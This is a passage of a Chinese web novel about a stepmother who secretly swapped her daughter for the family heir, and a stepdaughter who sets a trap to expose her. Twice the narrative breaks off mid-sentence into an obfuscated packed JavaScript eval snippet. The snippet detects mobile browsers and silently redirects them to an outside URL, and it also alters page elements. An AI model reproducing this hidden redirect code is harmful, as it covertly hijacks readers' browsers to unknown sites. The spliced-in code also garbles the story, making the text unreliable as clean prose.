“你这继母,胆子当真不小。” 陆知苒唇角挂上一抹嘲讽的笑,“她只是极度自私罢了。” 这么做,能让她在陆家的地位稳固。 至于陆家的血脉会被混淆,她并不在乎。 若陆君成当真娶了方娇,生了孩子,那孩子也同样是陆家的血脉,她说不定还会为自己的谋算暗自得意。 萧晏辞沉默了片刻,再看向陆知苒时,眼神中不禁染上几分怜惜。 “你在她手底下,定然也吃了不少苦头吧。” 方氏如此厉害,陆贯轩完全不管内宅,陆知苒年纪又小,在她手底下,难免吃亏。 陆知苒笑了笑,神色轻松。 “都过去了,现在,我要把自己当初吃过的苦,原原本本地还回去。她不会有好下场的。” 萧晏辞见此,依旧满脸心疼。 “你放手去做,便是捅破了天,也有本王顶着。” 方氏,交给陆知苒对付,那是她们之间的恩怨。 而方家,他会亲手收拾。 得了他的这话,陆知苒便再无顾虑。 她对丫鬟吩咐,“明日派人回去传个话,后日回娘家看看。” 她特意选了休沐日回去,陆贯轩要巴结这个女儿,命人张罗了一桌好酒好菜。 陆知苒看饭桌上只有他们父女二人, 面上笑容浅淡。 “君儿呢?怎不见他?” 陆贯轩眼底有不喜一闪而过,但在陆知苒面前到底不敢表露,只道:“他科举失利,这会儿正在书房看书。” “他尚且年轻,能考中秀才功名已是十分难得,多少人考到儿孙满堂才中举,父亲莫要太过苛责于他。” 陆贯轩嘴上应是,实际上心中却并无太多认同。 陆知苒再次开口,“父亲派人把他唤来,与我一道吃顿饭吧,便是用功,也不在乎这一时半会儿的。” 又道:“紫鹃姨娘和妹妹如何?若孩子没睡,也抱来我看看。” 有孩子在,热闹些。 要与他单独吃完这顿饭,陆知苒得吃得胃疼。 陆君成先到了,他在陆贯轩的面前很拘谨,又恭敬地向陆知苒行礼。 陆知苒的目光在他脸上扫了一圈,消瘦了许多,眼底更添了一抹浓重的青黑。 陆知苒不禁蹙眉,“念书再要紧,也没有身子重要。君儿,你莫要太过苛责自己,反倒是舍本逐末。” 陆君成低声应是。 只是眸光没有波动,一片死气沉沉。 显然,陆知苒的话并没有入他的心。 并非他不想休息,而是他的肩头上压着一座沉重的大山,让他不能,也不敢休息。 他只要一躺下,闭上眼睛,脑中就回放着父亲和母亲咆哮着责骂他的画面。 他根本睡不着,便只能麻木地看书。 表面上他在用功,但实际上,他自己知道,他并没有真正入心。 那些书本上的东西,没有进入他的脑子。 他发现自己学不进去了。 这样的状态让他惶恐,更不敢停下来。 所以,短短的时间里,他消瘦了一大圈。 陆知苒看出了他的问题,心头微微发沉。 继续这样下去,他会把自己压垮。 若是没有陆家嫡子的身份,他是否能重新好起来? 陆知苒又问起他手臂的伤处,陆君成感激道:“多谢大姐姐赠药,已经好多了。” 他这段时间只是疯狂看书,并没有提笔写字。 他知道右手对于读书人来说有多重要,先前是科举在即,他不能不提笔做文章。 现在,他还有至少三年的时间,不想拿自己的右手来开玩笑。 陆知苒见他神色真诚,知道他这次没有说谎,便放心几分。 陆贯轩又板着脸教训,“你大姐姐如此关怀你,你就应当加倍努力读书,考取功名,如此方不负你大姐姐的期望。” 陆君成的背脊再次绷紧,低声应是。 陆知苒:…… 他其实可以不开口。 这时,紫鹃带着女儿来了。 短短几个月不见,那小婴儿长高了,也长胖了,藕节似的手臂用力按挥舞着,胖乎乎的小脚也蹬得不停,看上去活泼极了。 她正努力地将小拳头往嘴巴里塞,奈何塞不进去,反倒流满了口水。 陆知苒见此,觉得可爱极了。 许是血脉中的羁绊在作祟,陆知苒一见这小妹妹便生出了亲近之意,眼底的喜爱之意怎么都藏不住。 紫鹃看出来了,又想到她至今尚未有孕,便试探性地道:“王妃要不要抱抱辰姐儿?” 她名唤陆星辰,是陆贯轩请陆知苒帮忙取的名字。 陆家的一个庶女,能得王妃取名,说出去旁人也会高看她两分。 陆贯轩不是为了这个庶女才如此谋划,他是为了自己日后能有谈资。 陆知苒伸出了手,接了过来。 这孩子生得胖嘟嘟的,抱在怀里颇有分量。 她仰起头,满脸好奇地看着陆知苒,大眼睛眨巴大眨巴,还朝陆知苒露出了一抹无齿的笑,顿时又流了满嘴哈喇子。 第384章 塑料母女情 陆知苒被她逗笑了,逗弄了一阵,方还给紫鹃。 “你把她养得很好。” 紫鹃脸上也满是温柔的笑,“照料好三小姐,是奴婢的本分。” 她是姨娘,即便陆星辰是她所出,她也只能唤一声三小姐。 有了陆星辰时不时咿咿呀呀地自说自话,饭桌上果然热闹了起来,至少不再沉闷。 用了饭,紫鹃和陆君成先后告退,陆知苒才说起了自己此行的目的。 “母亲的病可好些了?” 陆贯轩谎称方氏病了,这才没法出院门,陆知苒便只当她病了。 陆贯轩语气冷淡,“兵来如山倒,病去如抽丝,她的病,还需慢慢养着。” 言外之意,短时间内,她都别想出来。 陆知苒假惺惺地说了两句关切之言,又提起方家舅舅,陆贯轩起先还有些敷衍,后面终于慢慢意会过来。 陆知苒分明是在向方家示好。 她说得隐晦,但陆贯轩听懂了。 萧晏辞眼下虽是太子的绝佳人选,但皇上一日不下旨,此事便一日不能落定。 萧晏辞还需要更多助力。 他有意拉拢方家。 这若是换作以往,陆贯轩定然乐见其成。 但现在…… 陆贯轩的脸色有些难看。 他与方家已经闹翻,且闹得十分难看,他更是下定决心再不会与之往来。 但现在,陆知苒却特意对他表达了这番意思。 他该如何选择? 向方家低头,他过不去心中的那道坎。 继续与方家交恶,就办不成瑾王交代之事。 陆知苒把要说的话说清楚了,便起身告辞了。 他知道该怎么做。 只是在此之前,他还需要一点时间说服自己。 至于方家会不会相信自己的拉拢与示好,那不重要,这本就是个幌子。 她的目标只在方氏和方娇身上。 离开陆家之前,陆知苒又派人给紫鹃传话。 方氏很快就会出来了,请她看顾好三小姐,莫要让有心人钻了空子。 她很喜欢自己的这个小妹妹,大人的恩怨,不该牵扯到无辜的孩子身上。 三日后,陆知苒得了消息,方氏果然被放了出来。 她重获自由,第一件事便是回娘家。 她知道,她的娇儿回来了。 方娇与方氏容貌像了七成,另外三成则遗传自陆贯轩。 尤其是鼻子和眼睛,与陆贯轩如出一辙。 与女儿阔别多年,方氏一见到人,眼泪就再也忍不住了。 “娇儿,我可怜的女儿啊,娘亲总算见到你了。这些年,真是苦了你了。” 方娇也抱住方氏,母女二人抱头痛哭。 母女二人叙了一番话,方氏说起了正事。 “娇儿,过几日,娘就接你到陆家小住一段时日,届时,娘会安排你与君儿相看,再想法子促成你们之间的事。待你嫁到陆家,我们母女就再也不会分离了。” 方氏的心中充满了美好的期待与幻想。 方娇的神色却有些闪躲回避,她搪塞,“娘,此事不急,我们慢慢谋划便是。” 不待她细问,方娇又问,“娘,您是怎么出来的?先前那人不是把您关起来了吗?” 她口中的那人,自然是陆贯轩。 方氏满脸鄙视,“他先前倒是硬气,到头来怎样,还不是得低头向方家示好?还有陆知苒,当上王妃又如何,还是需要方家为瑾王助力。” 她将事情始末道来,方家众人都为之一喜。 而今瑾王正是炙手可热的时候,方家便是想搭上线都不够格,没成想,瑾王竟然主动示好。 方志远面有疑虑,“这其中,会不会有诈?” 方家有几斤几两,他们自己心里清楚。 他们真的值得瑾王纡尊降贵,主动招揽吗? 方氏这时才稍稍冷静下来。 此事是陆知苒牵头的。 先前光顾着高兴,这会儿她越想,就越觉得这其中有诈。 陆知苒对她,对方家都恨之入骨,岂会甘心主动低头示好? “难道瑾王要对付我们?所以故意给我们下套?” 这个猜测让他们心头一凛。 可是,拒绝瑾王的招揽,同样有可能遭到瑾王的报复。 他们眼下根本没有能力和瑾王抗衡。 一时之间气氛不禁有些凝重。 最后还是方志远拍板,“与其我们在这里瞎猜,不如走一步看一步。若是我们想多了,那自然相安无事。若瑾王当真想对付我们,也要抓得住我们的把柄才行。成才,你当小心谨慎,莫要被揪了小辫子。” 方成才点头应下。 方氏留在方家用了饭,时间实在不早了,才不得不离开。 临行前,方氏拉着方娇的手,百般不舍。 “娇儿,我走了,你等着,很快,我们就能团聚了。” 方娇连连点头。 目送方氏上了马车,方娇这才转身回去,而她脸上的神色也彻底变了,再没了方才的依依不舍,反而带上了一股不耐烦。 当初把她送走,把别人的儿子当宝贝,现在想白捡一个女儿?哪儿来这么好的事。 还想让她嫁给一个身份不明的野种,好母女团聚,谁稀罕与她母女团聚? 回到自己的屋里,方娇也彻底卸下了伪装,脸上的嫌恶不加掩饰。 “真烦!” 这时,一个男人从里屋屏风后绕了出来,他从方娇的身后一把抱住对方,脑袋凑到她的脖颈上,语气轻佻。 “是谁惹了我们娇娇生气了?” 方娇被他弄得身子发软,脸上的怒意很快被娇嗔取代。 “还不是你的好姑母。” 这男人,赫然是方成才的长子方开元,也就是方娇现在名义上的长兄。 但二人如今的举止,显然已经完全超过了兄妹之间该有的界限。 方开元轻笑一声,“我的姑母,不就是你的亲生母亲吗?你们亲母女之间,哪儿有什么隔夜仇?” 方娇眼底再次流露出怨恨,“当初是她舍弃了我,而今又想操控我的婚事,她可曾半点顾念过我的想法?我没有她那样的母亲。” 说着,她便再度低头垂泪。 方开元连忙柔声哄了起来,费了半天功夫,才终于把人哄好了。 只是方娇依旧不愿意听从安排,嫁给陆君成。 “他就是个来历不明的野种,哪里配得上我?我听说他这次还落榜了,当真是无用至极!” 方开元笑看着她,“你是瞧不上他,还是舍不得我?所以才不肯嫁?” 第385章 给他和方表妹牵红线 方娇对上他那充满挑逗的目光,面颊一红。 “哥哥,你又这般取笑我!” 与她调情一番,方开元又叹息一声,“娇娇,我自然也舍不得你,但是……你名义上是我的妹妹,我们之间的关系,过不了明路。你就算不嫁给陆君成,也要嫁给旁人的,我留不住你。” 方娇狠狠咬唇,眼眶里登时有泪花闪动。 “哥哥,我舍不得你,也舍不得我们的俊哥儿,他才刚几个月,不能就这么没了娘亲啊……” 原来,方娇与方开元之间有私情,二人甚至连孩子都有了。 方娇之所以过了这么久才回京,便是因为当初诊出有孕,京中人多眼杂,没法悄悄生下孩子,所以她留在闽南,生下孩子,又坐足月子才回来。 其实,若非方氏派人去接她,她还打算再在闽南多住一段时日,待孩子再长大些。 这件事,自然瞒不住方成才。 方成才对此亦是睁一只眼闭一只眼。 方娇怀孕之后,方成才更是乐见其成。 方开元虽已成婚多年,但只有两个嫡女,还没有嫡子,他盼着方娇能为方开元生下儿子来。 方娇的肚子也的确争气,顺利生下了儿子。 这个儿子不仅是方娇的心头肉,也是方成才和方开元的宝贝疙瘩。 方开元听她哭得伤心,也跟着心疼,但态度却并未松动。 “娇娇,你是俊哥儿的生母,谁都越不过你去,日后你嫁到陆家,也能时常回来看俊哥儿的。” 方娇咬唇,“我怕许氏苛待俊哥儿。” 她口中的许氏,便是方开元的嫡妻。 她该唤一声长嫂,但方娇觉得她霸占了方开元,看她百般不顺眼,都是直呼许氏,全无敬意。 方开元神色一厉,“她敢!她肚子不争气,生不出儿子,我没休了她,已经对她法外开恩了,她若敢对俊哥儿做些什么,那就是找死!” 方娇依旧没法放心。 初为人母,她满腔都是对儿子的不舍。 方开元对她言语温柔,但态度从始至终都没有变过。 方娇必须嫁。 不论是嫁给陆君成,还是嫁给旁人,她都必须嫁。 她继续留在方家,眼睁睁地看着俊哥儿喊许氏为母亲,只能喊她姑姑,她心中会如何作想?万一她想不通,将此事闹出来,那就完了。 方开元只想偶尔偷偷腥,却不想负责任,因为他不想自己的身上背负上不伦的污点。 所以,把方娇嫁出去,是最合适的处理方法。 嫁给陆君成也没什么不好的。 据姑母说,陆君成这个表弟就是个憨的,好拿捏。 日后,就算他知道自己给他头上戴了绿帽子,指不定也不敢吭声。 方开元哄了半天,方娇依旧哭哭啼啼,他也渐渐没了耐心。 方开元最后直接将她扛起,扔到了床上。 “好了,别哭了,让哥哥好好疼疼你。” 屋中很快传出不堪入耳的声音。 方氏完全不知道,自己心心念念的女儿,对自己根本没有依恋,反而满是怨怼。 她更不知道,她的女儿已经偷偷生了个儿子。 有了这个儿子做牵绊,她的心就永远不可能回到陆家。 没多久,方娇就去了陆家,有时去吃顿饭,有时小住一两日,来往十分频繁。 有了她的陪伴,方氏脸上的笑容也变多了。 托了方娇的福,原本一直埋头苦读的陆君成,也被允许歇一歇。 方氏制造了好几次机会,让方娇和陆君成互相相看。 方娇已经心有所属,再看陆君成,只觉得他过于单薄稚嫩,全无男子汉的英伟气概,而且整个人呆板木讷,十分无趣,自然喜欢不起来。 但表面上,她却作出一副娇羞之态。 陆君成起初还没有回过味来,只当这是方家的表妹,自己只是处于礼节地见一见。 但之后这样的事发生了好几回,每次方氏的态度都有些过于殷切,陆君成终于后知后觉地反应过来。 母亲是要为他和表妹牵红线。 有了这个认知,陆君成再见到这位娇娇表妹,他就多了几分打量——先前他只是瞟了一眼,并未认真看过对方。 这一看,陆君成不禁微微愣怔。 这位娇娇表妹,长得委实有些眼熟。 自己与他站在一处,反倒是她更像陆家人。 这个念头一闪而过,旋即很快被他压下,并未在意。 方娇见他看着自己失神,心中生出几分得意。 这个没见过世面的野种,见了自己就被迷住了,日后,他定也是好拿捏的。 方氏也当陆君成是对方娇动了心,心下满意。 但实际上,陆君成除了觉得方娇眼熟,其他半点想法都没有。 他眼下一心都在科考上,完全无心男女之事。 但他素来没有违抗母亲的资格,他什么都没说。 若母亲要给他和方娇把亲事下,他也不会反对。 于他而言,娶谁都一样。 若是娶了母亲中意之人,能让母亲对自己多几分好脸色,那他愿意这么做。 把陆君成遣走,方氏拉着方娇,笑着道:“娇儿,你方才可瞧见了,那小子看你看得目不转睛,对你定是喜爱至极。” 方娇低下头,露出一副娇羞模样。 “君儿虽然学业上不成器,但性子是个老实的,又有母亲在上头压着,他定然不敢欺负你。” 方娇面露担忧,“母……姑母,此事您一人说的算吗?若姑父不同意怎么办?” 方氏宽慰道:“此事你无需担忧,母亲能料理好。” 陆贯轩多半是不会同意的。 方氏本也没打算靠嘴上说服他。 方氏多的是法子能促成这门亲事,让他不得不点头。 只是眼下尚处孙皇后的孝期,她还不能大张旗鼓地办这件事罢了。 待孝期一过,她就能开始自己的筹谋。 方娇闻言,便不再多问了。 世上没有不透风的墙,这件事不知怎的,就传到陆贯轩的耳中去了。 陆贯轩大怒。 他饶过方氏,重新与方家往来,本就是迫于无奈。 他心里其实一直想寻机会,再把当初那笔仇报回去呢。 结果方氏倒好,竟敢妄想把方家女儿嫁到陆家来。 这简直是痴人说梦! 他儿子可是瑾王的小舅子,岂会瞧得上一个小小方家的女儿? 他立马气势汹汹地到了知春苑,想找方氏问个清楚。 第386章 迟早都是陆家人 方娇近日恰好在陆家小住。 她隔三差五就来,方氏待她也甚是亲厚,陆家的下人对她也客气有加。 陆贯轩赶到的时候,方娇正在方氏的屋中翻看账册。 没错,她翻看的是陆家的账目,一边看,还一边出言点评。 她已经接受了要嫁到陆家的事实。 既然如此,不如先提前熟悉一下陆家的庶务,日后接管起来,也能更加如鱼得水。 她看到陆家每月的铺子进项,脸上露出鄙夷。 “每月就赚那么点银子,连我家每月的零头都不如,还开着作甚?不如及早关了。” 陆贯轩到时,刚好听到了这句话。 他先是一愣,反应过来这话是谁说的之后,当即怒火中烧。 “好大的口气!你们方家是个什么出身,有多少家底,能说得出这样的话?若当真如你所说,那你们方家的银子,只怕也来得不干不净!” 方娇面色骤变。 再看到满脸怒气的陆贯轩时,她的脸上更是露出了心虚和局促。 这是她第一次见到自己的生父。 原本她对这个生父也并没有抱太大的期待,更没有所谓的情感基础,但她预想中的初次见面也不是这样的。 而且,他最后那话也戳中了方娇心虚的点。 方娇立马起身行礼,“姑,姑父……我,我方才只是随口一说,并没有什么恶意的,还请姑父不要放在心上。” 陆贯轩看到她的容貌,眼底的嫌恶更甚。 她长得太像方氏,陆贯轩瞧见她便想到方氏,心中委实很难生得出好感。 “随口一说?你们方家的家教便是这般,随意置喙旁人的家事?而且,谁让你看这些账册的?你一个外人,有什么资格看陆家的账册?” 陆贯轩一句接着一句,每一句都似刀子,狠狠扎进了方娇的心。 她心底深处原本对方氏的怨恨被再次勾了起来。 外人?她才不是外人。 她是陆家正经的小姐! 但现在,她没名没分,只能被动接受陆贯轩的凌辱。 她恨方氏,对陆贯轩也生出了怨恨。 这时,方氏听到动静赶了出来,她护在了方娇的身前,似母鸡护崽。 “娇儿是我的嫡亲外甥女,如何算是外人?老爷何故对她如此横眉冷对?” 陆贯轩怒气更甚,“你也知道是你的外甥女,她姓陆吗?她姓方,她与我陆贯轩没有半点关系。你胆敢把陆家的账册拿给她看,你是要把我们陆家的底全都抖出去吗?” 方氏气得胸口上下起伏。 娇儿是他的骨肉,而今却被他指着鼻子骂。 偏偏,她没法替其正名。 一时冲动之下,方氏把自己的计划脱口而出。 “她迟早都是陆家人,君儿与她已经相看过了,我现在让她看看账目,也只是提前熟悉一番罢了。” 陆贯轩本就是来说这件事,方才只是被岔开了。 此时听方氏提起,他的火气烧得更旺。 “这件事经过我点头了吗?君儿的婚事何时轮得到你一手遮天了?真是岂有此理!” 方氏也知道自己理亏,本不打算这个时候抖出来,但谁让他方才说话那般难听? 方氏自觉自己对这个女儿亏欠良多,见不得她受半点委屈。 “两个孩子已经看对了眼,娇儿又是我娘家侄女,知根知底,配君儿绰绰有余,老爷还有什么好反对的?” 陆贯轩满脸鄙夷,“君儿是瑾王的小舅子,岂是你们方家这样的破落户能攀附的?方氏,我告诉你,你最好给我打消这个念头,我不可能同意!你继续折腾,我就把你休了!” 陆贯轩放了狠话,正要转身离开,身后传来了一道熟悉的声音。 “父亲,母亲,你们这是怎么了?” 陆知苒在丫鬟的搀扶下,款款而来。 她的脸上带着恰到好处的疑惑,目光一一在几人脸上划过,最后落在方娇的身上。 方娇也正在看她,眼神莫名。 她对陆知苒这个嫡姐早有耳闻,但却是第一次见到。 只一眼,方娇就感到了一股被压了一头的感觉。 她不仅长得美,周身更带着一股由内而外的富贵和雍容之气,方娇素来自诩自己容貌不俗,但跟陆知苒站在一处,便相形见绌,完全不够看了。 众人都没想到陆知苒会来,陆贯轩方才的怒火瞬间像泄了气的皮球,一下收敛了。 在这个女儿面前,他总是要多留两分脸面。 他粉饰太平,“没什么,一点小事罢了。苒姐儿今日怎么有空回来?” 陆知苒:“听说方家表妹在咱们家做客,我想着自己还未见过,自家亲戚也合该多多走动,这便来了。” 陆贯轩脸色又添几分难看。 她一再抬举方家人,莫非瑾王当真如此需要方家的助力? 想到方家人能借此得势,陆贯轩便觉得心中一梗,怎么都不得劲。 今后,他在方家人面前,还怎么直起腰杆? 方氏却没有因为她的这话感到高兴,反而越发升起了警惕。 陆知苒岂会对她这般客气? 只怕当真如父兄所猜测的那般,瑾王是打算给方家挖坑。 方娇也这般作想。 陆贯轩目光冷冷地扫向她,“见了瑾王妃都不知道行礼,连基本的礼数都不懂?方家就是这么教养你的吗?” 方娇如梦初醒,脸色再次涨得通红。 她低头,朝陆知苒行了一礼。 “臣女见过瑾王妃。” 陆知苒待她行完了礼,这才悠悠开口,“都是自家表姐妹,无需如此多礼。” 陆贯轩本想把方娇赶走,但陆知苒突然来了,这话他也没法当面说,只得咽了下去。 陆知苒随意地与方娇闲话起来,除了她自己,其余人都或多或少有些紧张。 方氏找到机会立马开口,把方娇打发走了。 今日发生了这般变故,方娇不适合再继续住在陆家。 而且陆知苒突然来了,方氏心里一直莫名打突,总有种不好的预感,她不想让娇儿卷进来。 不管陆知苒究竟要使什么花招,自己来应对便是。 方娇看了陆知苒一眼,没有多留,转身快步离开。 陆贯轩暗想,今后都不许这人再登陆家的门。 方氏再想撮合她和君儿,没门。 但事情很快就有了变故。 不多时,突然有丫鬟匆匆跑来,焦急道:“老爷,夫人,不好了,出事了。” 第387章 双双被蛇咬 陆贯轩见此,脸色当即沉了下去。 “慌慌张张,成何体统?” 方氏的心里却是突然咯噔了一下,一股不好的预感袭上心头。 那丫鬟急声道:“有蛇,咱们府里有毒蛇,表小姐和大少爷在花园里头,他们两人都被蛇咬了!” 陆贯轩和方氏同时大惊,陆知苒也露出急色。 陆知苒:“好端端的,陆家怎会有蛇?” 陆贯轩:“他们二人怎会凑到一处?” 方氏:“娇儿怎么样?有没有事?” 三人同时开口,但说出口的话却完全不同。 陆贯轩心想,莫不是那方娇不知廉耻,知道自己离开了方家就不好再登门,所以故意去寻了君儿,想要做些什么? 方氏则只担心方娇的安危,完全没想起问陆君成一句。 人在真正紧要的关头,才会露出自己真实的想法。 陆君成不得她心这件事,其实在很久以前就有所表现了。 只是当时没人注意到罢了。 毕竟,谁能想到,有人会如此胆大包天,做出偷龙换凤这样的事? 几人顾不得其他,抬步就往事发地奔去。 陆贯轩和方氏完全乱了方寸,陆知苒则命人去请太医。 事发地在花园,陆君成和方娇被就近抬到了待客的两间厢房中,二人都已经陷入了昏迷。 那条毒蛇咬了人就跑了,一众丫鬟小厮都人心惶惶,唯恐自己一不小心也被毒蛇咬了。 方氏下意识就要去看方娇的情况,但最终理智回笼,硬生生地调转了步子,往陆君成的厢房而去。 他的双眸紧闭,此时唇色已经开始发黑,看上去十分骇人。 陆贯轩又急又怒,自己就只有陆君成一个儿子,他决不能出事! “大少爷不在房间里好好读书,跑出来做什么?是不是方家那**勾搭他?” 方氏的心早就飞到方娇那头去了,只想去看看方娇的情况如何。 此时听了陆贯轩的话,方氏便不禁怒气翻涌。 “老爷,娇儿也已经受伤昏迷了,你嘴上积点德吧!她若出事,你怎么向我哥哥交代?” 陆贯轩气笑了,“她连累我儿子出事,我不去找方家人讨要说法就算了,还想让我给出交代?简直做梦。” 陆贯轩已经认定了此事是方娇所害。 二人眼见又要吵起来,陆知苒冷静开口,“我已经去请了太医,但还需要一些时间,当务之急,还是先让府医来看看吧。” 陆知苒的话终于让他们理智回笼。 陆贯轩立马派人去请府医,还去外头再多请一些大夫来。 方氏则是赶紧跑到隔壁,查看方娇的情况。 这一看,她的心顿时揪到了一起。 方娇的情况与陆君成如出一辙,同样昏迷不醒,嘴唇发紫。 方氏接连喊了好几次,都没有半点反应,方氏的眼泪一下就下来了。 陆知苒也走进了厢房,满脸关切,“母亲,方表妹的情况如何了?” 方氏听到她的声音,眸底顿时燃起一簇汹涌的火苗,一开口更是恶声恶气的话。 “是你,这一切都是你的阴谋,对不对?你一来,娇儿就出事了,定是你带来了毒蛇,你好狠的心啊!” 方氏已经彻底想明白了,除了陆知苒,没人有嫌疑做这件事。 不然怎么会这么巧呢?她偏偏在这个时候来了陆府?先前娇儿住了那么久都没事,她一来,娇儿就被蛇咬! 她分明就是想害娇儿! 方氏看着陆知苒的眼神狠厉,恨不得能生吞了她。 陆知苒一脸无辜,“母亲,您说话可要讲证据。我与表妹无冤无仇,为何要害她?更何况,这次被蛇咬的不止表妹一人,君儿也被咬了。难道我会为了谋害表妹,连自己亲弟弟的性命都不顾?” 方氏下意识反驳,“他不是你亲弟弟。” 陆知苒露出诧异之色,“母亲这话是何意?难道君儿不是陆家的孩子吗?” 这话似说得无心,却让方氏心里微微咯噔了一下,眼底闪过一抹心虚。 她下意识扬起声音,“你胡说什么,君儿当然是陆家的血脉!你只是我的继女,又不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15736377|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我所出,你们自然算不得真正的亲姐弟。” 陆知苒幽幽道:“不管我与母亲有再多龃龉不快,但对君儿从来都是真心实意,母亲怎能如此误会我?” 方氏还欲再说些什么,陆贯轩冲过来怒骂,“你个蠢妇,瞎掰扯什么?苒姐儿怎么可能害君儿?你这劳什子侄女,又哪里值得苒姐儿浪费心思去设计陷害?真是会往自己脸上贴金。” 方氏被陆贯轩骂得脸色青白交错,十分难看,一时偏又无从反驳。 陆贯轩还没骂够,“你对你这侄女,竟比对君儿更加关心,难道她才是你亲生的不成?真是个亲疏不分的蠢妇。” 方氏似遭了雷劈一般,脸上惊疑不定。 不知是不是心虚之故,她今日听他们说话,觉得每一句都似别有所指。 难道他们已经知道了真相? 不,不可能。 陆贯轩若知道了真相,定然不可能会是这个反应。 至于陆知苒…… 她也不可能手眼通天到这般地步,定是自己想多了。 这让方氏意识到自己的态度有些过于激动,她当即不敢再对方娇表现得过于在意。 府医赶来,先后给二人诊断,却是眉头紧锁,束手无策。 外头请的几位大夫也陆续赶到,但他们亦是纷纷摇头。 “老爷,小人才疏学浅,此前从未见过此毒,实在无从下手,老爷还是另请高明吧。” 众人的态度让陆贯轩和方氏心里拔凉拔凉的。 只不过,陆贯轩是担心陆君成,方氏则心系方娇的安危。 原本陆贯轩对陆君成这个儿子百般瞧不上,但现如今,他当真出事了,陆贯轩只觉天塌了一般。 他是自己唯一的子嗣,怎能有事? 他出事了,自己岂不绝后了? 方氏对方娇无比心疼,本以为接她回京,是让她过好日子的,没曾想,真正的好日子还没过几日,就出了这样的事,方氏简直恨不得自己代为受过。 陆知苒出声宽慰,“我们先别急,太医马上就来了,太医定然有法子。” 第388章 母亲真的不爱自己 这话让他们心中燃起了希望。 很快,太医就赶到了。 这次来的是黄太医,最擅解毒。 他开始诊脉,所有人都紧紧盯着他,也不敢发出声音,打扰了他的诊断。 依次给二人诊了脉,黄太医收回手,“他们是被什么样的蛇咬的?” 伺候的下人支支吾吾,“小的没,没看清……” 陆贯轩又想大骂废物,碍于黄太医在场,才堪堪忍住了。 方氏急切问,“黄太医,这毒能解吗?” 黄太医眉头紧锁,沉吟半晌,“有些棘手。” 陆贯轩和方氏的脸色再次变得惨白。 但旋即,他话锋一转,“不过,也并非没有法子,老夫姑且一试,能不能救活,就得看他们的造化了。” 这话让他们重新看到了希望,当即连连点头。 为方便施针,他让人把两人抬到了一个厢房中,众人都被请到了门外。 约莫过了两刻钟,房门再次被打开。 “进来吧,人醒了。” 陆贯轩和方氏顿时面露欣喜,进了房中,果见方才昏迷的二人已然悠悠转醒。 只是他们看上去依旧很虚弱,眼皮半睁半合,唇上的青紫依旧未褪,面上亦是一副痛苦的表情。 方氏目光焦急地在方娇的身上转了一圈,又努力克制了自己上前关切的冲动。 陆贯轩面带感激,“黄太医,您真是妙手回春,救了犬子一命,下官实在不知该如何感激才好。” 黄太医摇头,“陆大人,你先别高兴得太早。老夫只是替他们施针,暂时将毒性压住了,但他们体内的剧毒犹在,尚未脱离性命危险。” 他们的心立马又高高提了起来。 方氏急切道:“那,那要如何才能替他们解毒?” 陆知苒也开了口,“黄太医,需要什么珍贵药材,您请开口,只要能救人性命,我等定全力配合。” 陆贯轩连连点头,“对对对,只要你开口,我们定会想方设法把东西弄到。” 黄太医捋着胡须,“要给他们解毒,还需要一味药引。那药引十分难得,好在贵府的确有,只是不知道贵府究竟愿不愿意了。” 陆贯轩毫不犹豫地道:“愿意,愿意,只要能救下我儿性命,无论付出什么代价,我们都愿意!” 黄太医的目光一转,落在方氏的身上。 “此药引,为他们亲生母亲的心头血,所以,要救陆公子的性命,得陆夫人做一些牺牲才行。” “取心头血的确需要吃些苦头,不过陆夫人莫怕,不会伤及性命,你只需要过后好生休养即可。至于这位方小姐,也只能请方夫人前来,方能施救。” 陆贯轩没想到那药引竟是这个,顿时愣住。 方氏则瞬间如遭雷击,浑身的血都褪了个干净,面色也霎时变得惨白。 怎,怎么偏偏是这个! 方氏脑子有一根弦倏而绷断。 这定是个陷阱! 是谁给她挖的陷阱? 方氏惊疑不定地看向陆贯轩和陆知苒的方向。 陆贯轩的脸上只有对这个奇特药引的惊讶。 反观陆知苒,她的神色镇定,面色如常。 对上方氏的目光,她亦不躲不闪,眼底还藏着一抹意味深长。 方氏瞬间明了,是陆知苒,一切都是这**做的,自己先前的猜测没有错! 陆知苒竟然早就知道了娇儿的身份,所以设下此局,想逼她亲口承认此事。 其心思,何其歹毒! 她是什么时候知道这桩秘辛的? 是谁背叛了自己,泄露了这桩秘密? 方氏的心底一阵发寒,更有一股难言的恐惧爬上心头。 她顾不上深究那些,满脑子只有一个念头,今日之局,该如何破解? 她绝不会承认此事,一旦承认了,她和娇儿将万劫不复。 方氏断然道:“荒唐!这样的药引简直闻所未闻!” 这黄太医,定然也是被陆知苒收买的。 这所谓心头血做药引的法子,也定是凭空捏造出来的,目的就是为了逼她主动招出真相罢了。 方氏既然已经识破了这件事,又岂会再听信他们的鬼话? 方氏对黄太医再没了方才的恭敬,语气十分不客气。 黄太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15736378|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 医见此,顿时气得吹胡子瞪眼。 他一甩袖子,“本官言尽于此,既然陆夫人不相信,那本官无话可说。陆大人,你还是好好为令郎准备后事吧。” 说完便要离开。 陆贯轩见此,顿时急了,急忙阻拦。 “黄太医,请留步,留步啊。这女人是一介内宅妇人,哪里懂那些?还请黄太医多担待。此事人命关天,你定要救人救到底啊。” 黄太医依旧要走,“本官方才说了,要救令郎需要尊夫人献出心头血,若尊夫人不愿意,本官也无能为力。” 